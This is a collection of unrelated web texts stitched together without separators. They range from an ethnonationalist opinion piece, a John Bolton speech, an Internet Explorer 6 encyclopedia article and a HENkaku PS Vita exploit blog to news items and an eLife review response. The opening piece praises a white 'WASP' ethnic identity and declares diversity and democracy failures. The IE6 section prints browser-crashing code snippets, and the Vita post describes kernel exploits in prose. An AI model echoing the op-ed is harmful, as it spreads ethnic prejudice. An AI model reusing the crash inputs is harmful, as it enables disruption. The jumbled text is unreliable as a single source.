If we look at history, we see that America (and Western Europe) thrived with a Western European identity and ethnic composition. The definition “WASP” at first meant the English, but grew to include Germans, Scandinavians, Dutch and other Western European descended people. With that as our ideal, we had an innate commonality of culture, religion and reverence for both history and our unique standards for the future.
With the removal of WASP America, the “melting pot” idea followed, with people thinking foolishly that with enough propaganda… err, “education”… and government regulations, anyone could follow The WASP Method and make our nation just as successful. What has followed has been increasing corruption, incompetence, deception, bloat and dishonesty.
A central ethnic and cultural identity gives people a sense of common purpose and a reason to trust and believe in one another. We come from one root and we are working toward the same goal, which is perpetuation of our society through its principles and heritage. No amount of laws, rules and government videos can compensate for the loss of this unity.
With that loss, we have embarked upon the path to becoming Brazil: a multi-ethnic nation unified only by economics and ideology, comprising mostly a third-world slum with a few fortunate wealthy types on top. This model is not only unstable, but cruel. It deprives people of a sense of pride in who they are and of the moral standards and principles to guide them. It replaces civilization with obedience, positive aspiration with fear, and social order with shopping — even if only shopping for enough private security to avoid the disaster.
Our public opinion currently finds itself in a cycle of desperate search for scapegoats. We blame Nazis, African-Americans, Mexicans, White people, cops, Satanists, right-wingers, Christians and hackers in turn, but the real problem is us. We are disunified. We lack purpose. And so we consume ourselves.
Rule by public opinion — democracy — favors fears and victimhood over any sense of common goal. It delights in the weak and quavering, using a presumed sense of the appearance of injustice to argue for acting in their name, always following the egalitarian pattern: punish the successful in the name of the unsuccessful to make central control stronger. Public opinion makes snap judgments and destroys lives so that people can go back to a somnambulism of apathy and self-interested, short-term purchases.
Democracy has failed. Liberalism has failed, and diversity has failed. Throw them out and try picking up where we were before we turned down this idiotic path. Donald Trump may not be the ideal leader, but he has succeeded by refusing to bow down to the court of public opinion — which represents a plurality and likely not a majority — and instead pointing us toward common sense logic. Whether or not he will be a good President, he has begun the process of galvanizing our people toward deconstruction the liberal authoritarian regime that threatens to destroy us for ideological disobedience.
Tags: cuck, cuckservative, democracy, donald trump, totalitarianism
Please enable JavaScript to view the comments powered by Disqus.The following is a transcript of Ambassador John Bolton's speech to the Grand Gathering of Iranians for Free Iran, on July 1, 2017.
It's a great pleasure and an honor to be with you again here today. I must say, we come at a time of really extraordinary events in the United States that the distinguish today from the circumstances one year ago. Contrary to what virtually every political commentator said, contrary to what almost every public opinion poll said, contrary to what many people said around the world, Barack Obama's first Secretary of State Hillary Clinton is not the president of the United States.
So for the first time in at least eight years that I've been coming to this event, I can say that we have a president of the United States who is completely and totally opposed to the regime in Tehran. This is the true feeling of the president, and he's made it very clear -- he made it clear during the election campaign last year, he's made it clear numerous statements and even in tweets since then; he completely opposes the Iran nuclear deal signed by his predecessor.
Now, there is underway, as there often is in a new American administration, a policy review to determine what US policy will be on a whole range of issues, including how to deal with the regime in Tehran. But even as that review goes on, Congress is moving, with what for Congress is great speed, to enact new economic sanctions legislation against the regime in Iran. These sanctions, when they are put in place, will be because of the regime's suppression of its own people, and because of their continued support for terrorism around the world -- they will not be related to the nuclear issue, although the regime in Tehran has said if these sanctions are enacted into law, they will consider it a breach of the agreement.
Well, that's nothing new, since the regime has been in breach of the agreement for two straight years. And it's also it |
23, 2004, an attacker used two previously undiscovered security holes in Internet Explorer to insert spam-sending software on an unknown number of end-user computers.[17] This malware became known as Download.ject and caused users to infect their computers with a back door and key logger merely by viewing a web page. Infected sites included several financial sites.
Probably the biggest generic security failing of Internet Explorer (and other web browsers too) is the fact that it runs with the same level of access as the logged in user, rather than adopting the principle of least user access. Consequently, any malware executing in the Internet Explorer process via a security vulnerability (e.g. Download.ject in the example above) has the same level of access as the user, something that has particular relevance when that user is an Administrator. Tools such as DropMyRights[18] are able to address this issue by restricting the security token of the Internet Explorer process to that of a limited user. However this added level of security is not installed or available by default, and does not offer a simple way to elevate privileges ad hoc when required (for example to access Microsoft Update).
Art Manion, a representative of the United States Computer Emergency Readiness Team (US-CERT) noted in a vulnerability report that the design of Internet Explorer 6 Service Pack 1 made it difficult to secure. He stated that:
“ There are a number of significant vulnerabilities in technologies relating to the IE domain/zone security model, local file system (Local Machine Zone) trust, the Dynamic HTML (DHTML) document object model (in particular, proprietary DHTML features), the HTML Help system, MIME type determination, the graphical user interface (GUI), and ActiveX. … IE is integrated into Windows to such an extent that vulnerabilities in IE frequently provide an attacker significant access to the operating system.[19] ”
Manion later clarified that most of these concerns were addressed in 2004 with the release of Windows XP Service Pack 2, and other browsers had begun to suffer the same vulnerabilities he identified in the above CERT report.[20]
In response to a belief that Internet Explorer's frequency of exploitation is due in part to its ubiquity, since its market dominance made it the most obvious target, David Wheeler argues that this is not the full story. He notes that Apache HTTP Server had a much larger market share than Microsoft IIS, yet Apache traditionally had fewer security vulnerabilities at the time.[21]
As a result of its issues, some security experts, including Bruce Schneier in 2004, recommended that users stop using Internet Explorer for normal browsing, and switch to a different browser instead.[22] Several notable technology columnists suggested the same idea, including The Wall Street Journal's Walt Mossberg[23] and eWeek's Steven Vaughan-Nichols.[24] On July 6, 2004, US-CERT released an exploit report in which the last of seven workarounds was to use a different browser, especially when visiting untrusted sites.[25]
Market share [ edit ]
Internet Explorer 6 was the most widely used web browser during its tenure (surpassing Internet Explorer 5.x), attaining a peak percentage in usage share during 2002 and 2003 in the high 80s[contradictory], and together with other versions up to 95%.[citation needed] It only slowly declined up to 2007, when it lost about half its market share to Internet Explorer 7 and Mozilla Firefox between late 2006 to 2008.
IE6 remained more popular than its successor in business use for more than a year after IE7 came out.[28] A 2008 DailyTech article noted, "A Survey found 55.2% of companies still use IE 6 as of December 2007", while "IE 7 only has a 23.4 percent adoption rate".[28]
Net Applications estimated IE6 market share at almost 39% for September 2008.[29] According to the same source, IE7 users migrate faster to IE8 than users of its predecessor IE6 did, leading to IE6 once again becoming the most widely used browser during the summer and fall of 2009, eight years after its introduction.[30]
As of February 2010, estimates of IE6's global market share ranged from 10-20%.[31][32][33] Nonetheless, IE6 continued to maintain a plurality or even majority presence in the browser market of certain countries, notably China[34] and South Korea.[35][36]
Google Apps and YouTube dropped support for IE6 in March 2010,[37][38] followed by Facebook chat in September.[39]
On January 3, 2012, Microsoft announced that usage of IE6 in the United States had dropped below 1%.[40]
In August 2012, IE6 was still the most popular IE web browser in China. It was also the second most used browser overall with a total market share of 22.41%, just behind the Chinese-made 360 Secure Browser at 26.96%.[41]
In July 2013, Net Applications reported the global market share of IE6 amongst all Internet Explorer browsers to be 10.9%.[42]
As of August 2015, IE6 was being used by <1% users in most countries, with the only exception being China (3.1%).[8][43]
As of December 2015, IE6 was being used by <1% users in all countries where data is available including China[44] and South Korea.[45]
Criticism [ edit ]
A common criticism of Internet Explorer is of the speed at which fixes are released after discovery of the security problems.
Microsoft attributes the perceived delays to rigorous testing. A posting to the Internet Explorer team blog on August 17, 2004 explained that there are, at minimum, 234 distinct releases of Internet Explorer that Microsoft supports (covering more than two dozen languages, and several different revisions of the operating system and browser level for each language), and that every combination is tested before a patch is released.[46]
In May 2006, PC World rated Internet Explorer 6 the eighth worst tech product of all time.[2] A certain degree of complacency has been alleged against Microsoft over IE6. With near 90% of the browser market the motive for innovation was not strongly present, resulting in the 5 year time between IE6's introduction and its replacement with IE7. This was a contributing factor for the rapid rise of the free software alternative Mozilla Firefox.
Unlike most other modern browsers, IE6 does not fully nor properly support CSS version 2, which made it difficult for web developers to ensure compatibility with the browser without degrading the experience for users of more advanced browsers. Developers often resorted to strategies such as CSS hacks, conditional comments, or other forms of browser sniffing to make their websites work in IE6.
Additionally, IE6 lacks support for alpha transparency in PNG images, replacing transparent pixels with a solid colour background (grey unless defined in a PNG bKGD chunk). There is a workaround by way of Microsoft's proprietary AlphaImageLoader, but it is more complicated and not wholly comparable in function.[47]
Internet Explorer 6 has also been criticized due to its instability. For example, the following code on a website would cause a program crash in IE6:[citation needed]
< style > * { position : relative }</ style >< table >< input ></ table >
or
< script > for ( x in open ); < /script>
The user could crash the browser with a single line of code in the address bar, causing a pointer overflow.[48][49]
ms-its:%F0:
Nvidia's website displaying a message encouraging Internet Explorer 6 users to upgrade to a newer browser.
Several campaigns were later aimed at ridding Internet Explorer 6 from the browser market:
In July 2008, 37signals announced it would phase out support for IE6 beginning in October 2008. [50]
In February 2009, some Norwegian sites began hosting campaigns with the same aim. [51]
In March 2009, a Danish anti-IE6 campaign was launched. [52]
In January 2010, the German Government, and subsequently the French Government each advised their citizens to move away from IE6. [53]
Also in January 2010, Google announced it would no longer support IE6. [54]
In February 2010, British citizens began to petition their government to stop using IE6, [55] though this was rejected in July 2010. [56]
though this was rejected in July 2010. In March 2010, in agreement with the EU, Microsoft began prompting users of Internet Explorer 6 in the EU with a ballot screen in which they are presented with a list of browsers in random order to select and upgrade to. The website is located at BrowserChoice.eu. [57] [58]
In May 2010, Microsoft's Australian division launched a campaign which compared IE6 to 9-year-old milk and urged users to upgrade to IE8.[59][60][61]
With the increasing lack of compatibility with modern web standards, popular websites began removing support for IE6 in 2010, including YouTube[6] and their parent company Google;[7] however large IT company support teams and other employers forcing staff to use IE6 for compatibility reasons slowed upgrades.[62] Microsoft themselves eventually began their own campaign to encourage users to stop using IE6,[63] though stating that they would support IE6 until Windows XP SP3 (including embedded versions) support is removed.[64] However, on January 12, 2016 when the new Microsoft Lifecycle Support policy for Internet Explorer went into effect, IE6 support on all Windows versions ended, more than 14 years after its original release,[65] making the January 2016 security update for multiple versions of XP Embedded the last that Microsoft publicly issued for IE6.[66]
Security framework [ edit ]
Internet Explorer uses a zone-based security framework, which means that sites are grouped based upon certain conditions. IE allows the restriction of broad areas of functionality, and also allows specific functions to be restricted. The administration of Internet Explorer is accomplished through the Internet Properties control panel. This utility also administers the Internet Explorer framework as it is implemented by other applications.
Patches and updates to the browser are released periodically and made available through Windows Update web site. Windows XP Service Pack 2 adds several important security features to Internet Explorer, including a popup blocker and additional security for ActiveX controls. ActiveX support remains in Internet Explorer although access to the "Local Machine Zone" is denied by default since Service Pack 2. However, once an ActiveX control runs and is authorized by the user, it can gain all the privileges of the user, instead of being granted limited privileges as Java or JavaScript do. This was later solved in the Windows Vista version of IE 7, which supported running the browser in a low-permission mode, making malware unable to run unless expressly granted permission by the user.
Quirks mode [ edit ]
Internet Explorer 6 dropped Compatibility Mode, which allowed Internet Explorer 4[67] to be run side by side with 5.x.[68][69] Instead, IE6 introduced quirks mode, which causes it to emulate many behaviors of IE 5.5.[70] Rather than being activated by the user, quirks mode is automatically and silently activated when viewing web pages that contain an old, invalid or no DOCTYPE. This feature was later added to all other major browsers to maximize compatibility with old or poorly-coded web pages.[71]
Supported platforms [ edit ]
Internet Explorer 6.0 supports Windows NT 4.0 (Service Pack 6a only), Windows 98, Windows Me, Windows 2000, Windows XP and Windows Server 2003. The Service Pack 1 update supports all of these versions, but Security Version 1[1] is only available as part of Windows XP Service Pack 2 and Windows Server 2003 Service Pack 1 and later service packs for those versions. Versions after Windows XP include Internet Explorer 7 and higher only.
Release history [ edit ]
System requirements [ edit ]
IE6 requires at least:[72]
See also [ edit ]By Patrick Biz
Contributing Writer, [GAS]
There are a number of reasons why HDTV and home theater gear are now mainstream: prices of Plasmas and LCDs screens have dropped considerably; personal video recorders (PVR) have kicked VCRs out of the living room; the offering of HD channels is growing rapidly; and Blu-Ray has officially buried its strongest contender, HD-DVD.
If you have recently purchased a home theater system, the next essential step is getting yourself a few DVD titles to show off your new toys, and impress the sexy chicks / stud who come over for a Friday-night movie.
Here’s a list of 5 killer titles sorted by genre.
Note: Since upconverting DVD players are doing a very respectable job, I’ve included links to both DVD and Blu-Ray Amazon pages.
Documentary: Planet Earth
If you would ask me to choose the ultimate Blu-Ray and DVD title to own for showing off your HD set, I’d recommend Planet Earth hands-down. This is the best nature and wildlife documentary series ever produced. Filled with oohs, ahhs and wows, BBC’s Planet Earth contains hours of breathtaking shots and scientific facts to blow you away.
Blu-Ray homepage | DVD homepage
Computer-Animated: Cars
Kids fall head over heels for computer-animated films à la Pixar, so they deserve a title for showing off your HD set. And there are so many great films available in this category, that it was difficult to decide which one would make the final cut. Ratatouille, Meet the Robinsons and Happy Feet are all spectacular. But when geeky dads want to demo the family home theater, Lightning McQueen and his friends are their best bet, with racing scenes that feel as if you were in the middle of a Nascar race.
Blu-Ray homepage | DVD homepage
Horror: Aliens vs Predator – Requiem
While this one would also fit in the Science Fiction category, I think it’s better suited under Horror, because it’s truly horrifying. Alien vs Predator will not demo spectacular images, but that’s ok considering that it’s the DTS-HD sound that will make your drywall wish it were sold to a library. If you’ve invested big bucks in a top notch sound system, wake up the neighbors to the sound of Aliens vs Predator – Requiem, a real treat for subwoofers.
Blu-Ray homepage | DVD homepage
Science Fiction: The Fifth Element
Released in 1997, Luc Besson’s Fifth Element is a cult sci-fi movie. Used by Sony as a demo disk for a long time, the Blu-Ray version will produce amazing colors on your HDTV display. This is truly a win-win as you will have both a great movie to show off, and an excellent addition to your film collection.
Blu-Ray homepage | DVD homepage
Action: Casion Royale
The latest James Bond, Casino Royale, feels like it was made for HD. The lighting and photography combined with post-production picture processing create astonishing results on high-definition televisions. If you need a little assurance that your home-theater purchase was a good one after the credit card statement comes in, pop in Casino Royale and let Daniel Craig and his crew do their job.
Blu-Ray homepage | DVD homepage
HDTV Podcast
On a final note, if you are a big HDTV nut, don’t forget to subscribe to the HDTV Podcast featuring the HT Guys. This biweekly podcast covers everything you need to know about home theatre and HDTV.In the clubby world of the Senate, relationships could determine the fate of ObamaCare repeal.
The bill’s main sponsors — Sens. Lindsey Graham Lindsey Olin GrahamHouse to push back at Trump on border Trump pressures GOP senators ahead of emergency declaration vote: 'Be strong and smart' This week: Congress, Trump set for showdown on emergency declaration MORE (R-S.C.) and Bill Cassidy William (Bill) Morgan CassidyCongress must step up to protect Medicare home health care Ivanka Trump to meet with GOP senators to discuss paid family leave legislation Bipartisan senators ask industry for information on surprise medical bills MORE (R-La.) — are laboring to sell their Republican colleagues on the legislation, which would turn much of ObamaCare’s funding into block grants to the states.
With Sen. Rand Paul Randal (Rand) Howard PaulThe Hill's Morning Report — Emergency declaration to test GOP loyalty to Trump The Hill's 12:30 Report: Trump escalates fight with NY Times The 10 GOP senators who may break with Trump on emergency MORE (R-Ky.) pledging to vote against the bill, Graham and Cassidy need to win over at least two of the three Republicans who voted in July against the last repeal bill: Sens. John McCain John Sidney McCainGOP lobbyists worry Trump lags in K Street fundraising Mark Kelly kicks off Senate bid: ‘A mission to lift up hardworking Arizonans’ Gabbard hits back at Meghan McCain after fight over Assad MORE (Ariz.), Lisa Murkowski Lisa Ann MurkowskiHouse to push back at Trump on border GOP Sen. Tillis to vote for resolution blocking Trump's emergency declaration Pence meeting with Senate GOP ahead of vote to block emergency declaration MORE (Alaska) and Susan Collins Susan Margaret CollinsHouse to push back at Trump on border Hillicon Valley: Senators urge Trump to bar Huawei products from electric grid | Ex-security officials condemn Trump emergency declaration | New malicious cyber tool found | Facebook faces questions on treatment of moderators GOP Sen. Tillis to vote for resolution blocking Trump's emergency declaration MORE (Maine).
Luckily for Graham, he’s a close friend of McCain’s — practically his “illegitimate son,” as McCain once put it.
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They both serve on the Senate Armed Services Committee and have desks next to each other in the Senate chamber. Both were brought to tears during a joint interview earlier this year where they talked about their bond.
But it remains to be seen whether their friendship will be enough.
McCain cast the decisive vote against the GOP’s repeal bill in July and appears conflicted about whether to support the repeal bill sponsored by his friend.
“It’s a bipartisan approach to the issues is what I mostly care about,” McCain said Monday, noting the bill has no Democratic support and has not gone through committee hearings.
Asked if it would be difficult to have to say no to his friend, McCain replied: “Yes, it’s difficult.”
There’s another relationship at play for McCain: the one he has with his state’s Republican governor, Doug Ducey.
Ducey opposed the “skinny” repeal bill that McCain derailed in July. McCain later said the legislation would have “screwed” his state.
But Ducey endorsed the Graham-Cassidy legislation Monday, calling it the “best path forward to repeal and replace ObamaCare.”
McCain had told MSNBC he would be "comfortable with the bill as long as the governor of Arizona has signed off on it.”
But speaking to reporters Monday afternoon, McCain said he was still undecided.
“I am not supportive of the bill yet. We’ll talk more about it. I’ll talk with my governor and all that. I want regular order.”
“The governor’s opinion is very important. I made my feelings very clear about the need for a regular order.... I have some amendments I’d like considered. Am I going to be able to have this, or is this simply an up or down vote?”
Meanwhile, Cassidy, a doctor and health policy wonk, has taken on the duty of trying to win over Collins and Murkowski, two Republican moderates.
Cassidy and Collins have a history of working together on health care. The pair unveiled one of the first ObamaCare repeal-and-replace plans earlier this year and also serve together on the Senate Health Committee.
But it’s not clear if Cassidy can win Collins over, especially because his bill defunds Planned Parenthood, an organization she supports.
“Senator Collins has a number of concerns with the Graham-Cassidy Proposal, including the cuts to the Medicaid program and the impact to the requirement that insurers provide coverage to people with preexisting conditions,” Collins’s spokeswoman, Annie Clark, said in a statement to The Hill. “She will be examining the forthcoming [Congressional Budget Office] analysis.”
Meanwhile, Murkowski told reporters Monday she is still determining how the repeal legislation would affect Alaska.
“What I’m trying to figure out is the impact to my state, and so we’ve been working back and forth with Sen. Cassidy’s office to try to understand,” Murkowski told reporters Monday.
“I can’t say [how I’m leaning] because I don’t have the hard numbers that will — I will use the governor’s words: He said, ‘I understand that a block grant gives me increased flexibility, but if I don’t have the dollars to help improve flexibility, that doesn’t help as much,' ” she said.
Collins also has a close relationship with Murkowski, another moderate Republican woman who voted against the GOP’s July repeal bill and also opposes defunding Planned Parenthood.
They sit together in the Senate chamber and were side by side when they voted against the last repeal bill. And when Vice President Pence and other Republicans tried convincing the two to vote for the repeal bill on the floor, they rarely left each other’s sides.
“I will say that I was very happy that Lisa was literally sitting next to me as we were voting from our seats,” Collins said in an interview with CNN after the vote.
Murkowski added: “To have that weight, that responsibility, knowing that your vote really is that pivotal, it does help to know that there is another kindred soul close by.”
Jordain Carney contributed.The price of bitcoin digital currency, which more than doubled in 2015, is poised to surge even higher next year as investors have regained confidence in its stability after the collapse of the Mt. Gox exchange in 2014.
Bitcoin is trading for about $443, an increase from its $200 level during the beginning of the year. That's better than the 12-month forecast of $400 Wedbush Securities made in July (the firm has since raised its forecast to $600). According to Adamant Research, bitcoin's price has surged more than 900 percent since it began trading 2010.
Opinions vary about how high bitcoin will rise in 2016. An unscientific poll by CoinDesk, which follows the market, found 37 percent of respondents thought prices would hit between $500 and $1,000. Another 26 percent thought it might top $1,000 as demand continues to climb.
Government agents charged with Bitcoin theft
But experts such as Michael Sonnenshein, director sales and business development for Grayscale Investments, which sponsors the Bitcoin Investment Trust (GBTC), were reluctant to provide a forecast. "I am not concerned about a bubble," said Sonnenshein in an interview. "If you go back and look at the bitcoin price chart, it's a series of bubbles and busts."
Bitcoin hit its stride in 2015. Prices surged 80 percent during the last six months and are up 90 percent over the past three. Venture capital investments in the sector hit are running at over $900 million to date, according to Adamant Research. Among the big-named investors that have taken a shine to the online currency are venture capitalist Marc Andreessen, who was an early backer of Facebook (FB) and Twitter (TWTR), and PayPal (PYPL) co-founder Peter Thiel.
"In the traditional markets we are seeing increased volatility and insecurity," said Tuur Demeester, Adamant's editor-in-chief and a bitcoin investor, in an interview. "Bitcoin's fundamentals are stronger than ever."
Bitcoin: What it is and how it works
The digital currency is designed to be scarce. About 15 million of the 21 million bitcoins that are planned to be minted and circulated have already been created. Supplies will be further tightened this summer during what industry insiders call a "halving event." That happens every four years, when the number of coins that bitcoin "miners" mint is cut by half.
"The last time this happened, there was considerable movement in the bitcoin price," Grayscale's Sonnenshein said. "It will be very interesting to see how the market digests the halving event."
Expectations for the sector are surging. By 2025, Wedbush expects bitcoin to account for 10 percent of the $5.9 trillion online payments market and 20 percent of the $744 billion remittance market.
Wall Street is also keeping a close eye on the growing interest in "blockchain," the underlying technology used in bitcoin among the financial services sector. Spending on the technology is expected to hit $400 million in 2014, up from $75 million this year, according to consulting firm Aite. And SETL, a U.K.-based blockchain startup, on Wednesday announced the appointment of former Barclay's chairman as its chairman.When HENkaku came out exactly a month ago from today, we posed a challenge to the scene to reverse our hack. The reason for this decision rather than to just post our writeups immediately and take all the limelight is because we believe that the Vita is a device that is so unique in its security features that we won’t be doing it proper justice by just revealing the flaws. We want people to know about how good the security is rather than just point out the mistakes made. In doing so, we hoped that hackers new and old will take the challenge and have fun with it. Today, one such challenger by the name of st4rk completed the second third of the challenge. He has written a detailed post on how he reversed the payload and I recommend you read it right now.
Stage 1 of HENkaku was a previously patched but undocumented WebKit exploit. Many people including st4rk and H figured out most of the details within days. xyz of molecule then posted a complete writeup and focus shifted to stage 2 and all was quiet for weeks. Now that st4rk has published his writeup, I want to add some comments from our side.
The best way to understand what each part does is debugging and know well about the Vita’s security measures.
This was a smart and unique way of approaching the problem. Instead of starting from the bottom up (look at the dumps and try to figure out what each set of bytes means) he looked from the top down. Sometimes such change in perspective really help in clearing a path to the solution. By asking questions like “how did they get past the KASLR?” or “what did they do to put code into the kernel?” st4rk was able to rebuild the exploit piece by piece. This is what “reverse engineering” truly means.
The stage2 is a huge rop-chain and to solve this problem I written a python script using capstone to help me to deal with it, you can find it here
The rop-chain is actually generated from roptool by Davee of molecule. It’s an amazing piece of work that lets you turn Turing-complete code into ROP chains. It’s no surprise that decomposing the chain would require an automated tool.
The first time that I read it, it didn’t make any sense, first because we don’t have a “molecule0” device on PS Vita and second that I didn’t know anything about the SceIoDevCtl. I read the vitasdk and psp2sdk to give me a good base and decided to write a ROP code for my 1.50 Vita and test the Syscalls.
Smart thinking in using a low firmware version Vita. There is no kernel ASLR and stack canaries before firmware 1.80. That’s why I recommend it for hackers and aspiring hackers.
This is our first kernel exploit, it’s used to defeat Kernel ASLR and to write our Kernel ROP chain.
Yup. The first kernel exploit we use is an information leak in sceIoDevCtl. The function copies the 0x400 bytes from the kernel stack into the user output buffer without checking the size field. That means if we call some random function that leaves pointers in the stack (in this case, a call to sceIoOpen ), the next call to sceIoDevCtl does not clear it and copies it back to user. This is enough to defeat kernel ASLR.
This vulnerability was found back in late 2014 by our very own Davee. We finally made use of it years later.
The Kernel exploit is in the the module that handle the SceNet functions (it’s the SceNetPs).
Ah, the exploit that made all of this possible. A use-after-free in the socket handling function triggered by a race condition. st4rk managed to get as much information as he could without seeing the code, but the actual exploit is a complex and truly marvelous piece of work that this margin is too narrow to contain. This vulnerability was found and exploited by xyz earlier this year and is what sparked us to create HENkaku. He will be posting a detailed explanation of this exploit later this week.
Stage 3
Now things get truly interesting. Stage 3 is the final part of the exploit and is, what I believe, the hardest part to reverse. Stage 3 is a kernel ROP chain that executes the code to make all the HENkaku patches. Typically, to reverse a ROP chain, you would dump the code memory and reconstruct the gadgets in order to analyze the chain. Indeed, this is what st4rk did for our userland ROP code. However, we did not release any exploit that leaks arbitrary kernel memory. The sceIoDevCtl vulnerability can only leak kernel stack memory–which in this case is just the ROP chain that we inject. So how would you crack this code? You can either
Find a Vita vulnerability that lets you dump kernel memory Find a novel way of cracking ROP chains blind
In either cases, everybody wins. If you find another kernel exploit, it would be groundwork for the next Vita hack. Since our sceIoDevCtl is patched now, we have no way of defeating kernel ASLR on newer firmwares–which is a prerequisite for any hack. If you manage to crack the ROP chain blind, well, for one you are definitely smarter than me. Of all the members of molecule, I am the only one who does not think the task is impossible. We honestly cannot think of a way of cracking the ROP chain blind. Davee claims it is impossible and xyz thinks we should provide more help. However, I think it is arrogant to assume that nobody can do it just because we can’t do it. The king-of-the-hill challenge really is about finding people better than ourselves to both collaborate with and to continue the work.
Back when I was working on reversing Gateway, I saw some of the most ingenuous hackers coming up with novel ways of reversing Gateway’s (in comparison: simple) ROP chain. I learned a lot from these people and I am hoping that there are more of them out there to impress me. That is why I pose this impossible challenge.
What’s Next
Today, as promised, we are releasing the full source of stage 1 and 2 written in roptool. This will allow you to make easy changes to the exploit code as well as test changes to the binary payload for your reversing endeavor. I can’t wait to see what you guys come up with next!A man looks at his phone as he walks past a Verizon wireless store in New York, July 30, 2009. REUTERS/Brendan McDermid
NEW YORK (Reuters) - The top U.S. mobile service, Verizon Wireless, has agreed to pay the U.S. Treasury $25 million on top of more than $52 million in refunds to consumers for overcharging them, the U.S. regulator said.
The venture of Verizon Communications Inc and Vodafone Group Plc said earlier this month it would pay refunds to 15 million cellphone customers erroneously charged for mobile Internet use.
The Federal Communications Commission chairman Julius Genachowski said in a statement the $25 million settlement was the largest in the FCC’s history.
“People shouldn’t find mystery fees when they open their phone bills and they certainly shouldn’t have to pay for services they didn’t want and didn’t use. In these rough economic times, every $1.99 counts,” Genachowski said.
Verizon said in a statement that the settlement was voluntary and it apologized for the “accidental data charges.”
It said the refunds amounted to about $52.8 million.Sen. Bernie Sanders (I-Vt.) on Sunday called for early presidential debates between both Democrats and Republicans to discuss critical issues ahead of the 2016 primary season.
In an interview on NBC’s “Meet the Press," the newly declared presidential contender said the additional debates would provide contrast to where both parties stand on jobs, income inequality, health care and Social Security.
"I hope very much that we can begin with the Democratic candidate debates as early as July and have some Republicans in those debates as well,” Sanders said.
A spokesman for the senator's campaign added in a statement that including Republicans "could revive interest among ordinary voters in the democratic process."
Democrats announced earlier this year that they would hold six official primary debates beginning this fall. Sanders' bid to hold additional debates could run against the Democratic National Committee and its exclusivity rule. Any candidate who decides to participate in the Democratic Party debates must agree to do so exclusively, making them ineligible to participate in any debates organized by third-party groups.Essential revisions:
1) The authors need to provide additional evidence that ChR2 is absent from the sensory neurons. One of the reviewers notes the presence of some apparent fluorescence near the shaft of the whisker. If expression is absent in the sensory afferents, this could be demonstrated with images of the IO nerve and/or ganglion. If on the other hand, there is some expression in the sensory nerve but the authors think they are selectively stimulating the muscles and/or facial motor nerve, they would have to devise some way of showing this convincingly, perhaps by showing that S1 does not respond to stimulation after muscle paralysis. Expression in the motorneurons is less problematic for the whole interpretation, but the manuscript should then make very clear that the present experiments cannot distinguish between motor nerve activation and muscle activation.
We performed additional analysis of histological sections at higher resolution to examine potential expression of ChR2/tdTomato in infraorbital nerve of Emx1-Cre;Ai27D mice. We found no evidence of expression in nerve fibers at the follicle. To rule out that this negative result was due to technical factors, we performed the same histological analysis in parvalbumin (PV)-Cre;Ai27D mice as a positive control. Previous work has shown that PV is a marker for Merkel endings of the IO nerve that innervate vibrissa follicles (Sakurai et al., 2013, The Organization of Submodality-Specific Touch Afferent Inputs in the Vibrissa Column, Cell Reports 5:87-98). Consistent with this, we found clear evidence for ChR2/tdTomato expression in PV-Cre;Ai27D follicular nerve axons and nerve endings along the shaft of the whisker, suggesting that we would have observed expression in Emx1-Cre;Ai27D mice if it were present. A comparison of sensory nerve ChR2/tdTomato expression in Emx and PV mice is now included in Figure 1—figure supplement 2. Although a full characterization of optogenetic stimulation effects in PV-Cre;Ai27D mice was beyond the scope of the present study, we hope to pursue this in future studies of Cre driver lines that target ChR2 expression to different components of vibrissal muscles/nerves. The methods we establish in the present study will form the foundation for such future investigations.
It should be noted that the histological results in Emx1-Cre;Ai27D mice, above, are consistent with the electrophysiological data in Figure 3 showing longer latency cortical LFP responses to optogenetic stimulation compared to mechanical whisker deflection. If ChR2 were expressed in follicular nerve endings, optogenetic response latencies would likely be as short as those evoked by mechanical whisker deflections. Instead, the observed longer latency responses to optogenetic stimulation fit the time scale of the evoked whisker movement, consistent with a reafferent rather than direct afferent origin of evoked sensory responses. Thus, our histological and functional data are consistent with the lack of ChR2 in sensory nerve in Emx-Cre;Ai27D mice, a point we clarified in the Results (subsection “Behavioral report of peripheral optogenetic stimulation”). ChR2 expression appears to be localized to extrinsic and intrinsic whisker pad muscles, but largely or completely absent from IO nerve.
2) The paper should be identified as a "Tools and Resources" paper because the major thrust is to enable further studies.
We concur with this classification.
3) The spatial extent of the activation should be more clearly described and analyzed.
A) The manuscript states that between 3 – 5 whiskers move each time but it is not clear whether this varies with stimulation intensity or location. It is not possible to tell from Figure 1B because the origin is never defined and does not state which whisker's (or whiskers') amplitude(s) is/are represented. Which whiskers are moving as different regions of the pad are stimulated?
We have updated the figure legend related to Figure 1B to clarify the location stimulated and the identity of the tracked whisker. We also performed further analysis of multiple whiskers in Figure 1—figure supplement 1 to address these important issues. Stimulation of a rostral region of the whisker pad The origin in Figure 1B (also diagramed as the position of optical stimulation in Figure 1A) was defined at a rostral location that evoked reliable whisker protractions. We focused on stimulation of this location of the whisker pad throughout the rest of the study. Figure 1—figure supplement 1 now also addresses how different whiskers move as different regions of the pad are stimulated. We did this by plotting colormaps for multiple whiskers, as suggested below, and by plotting time courses of multiple whiskers for select stimulus locations (see next response for more details).
B) If data are available, it would be highly informative to create supplementary figures for Figure 1B that represent each whisker's response to stimulation individually, placing the origin at each whisker and then moving to each of its neighbors in turn. How similar is the response of each of the whiskers?
We included 5 additional color maps in Figure 1—figure supplement 1 (related to Figure 1B) that represent the movements elicited by optogenetic stimulation of different regions of the whisker pad for each of 6 different whiskers. The color maps show a similar overall organization, including a rostral protraction area and a caudal-inferior retraction area. We chose to keep a common origin for each colormap, but similarities and differences for each whisker are clearly apparent. This organization is consistent with recent work by Haidarliu et al. (2015) on the structure of extrinsic musculature, which we now point out |
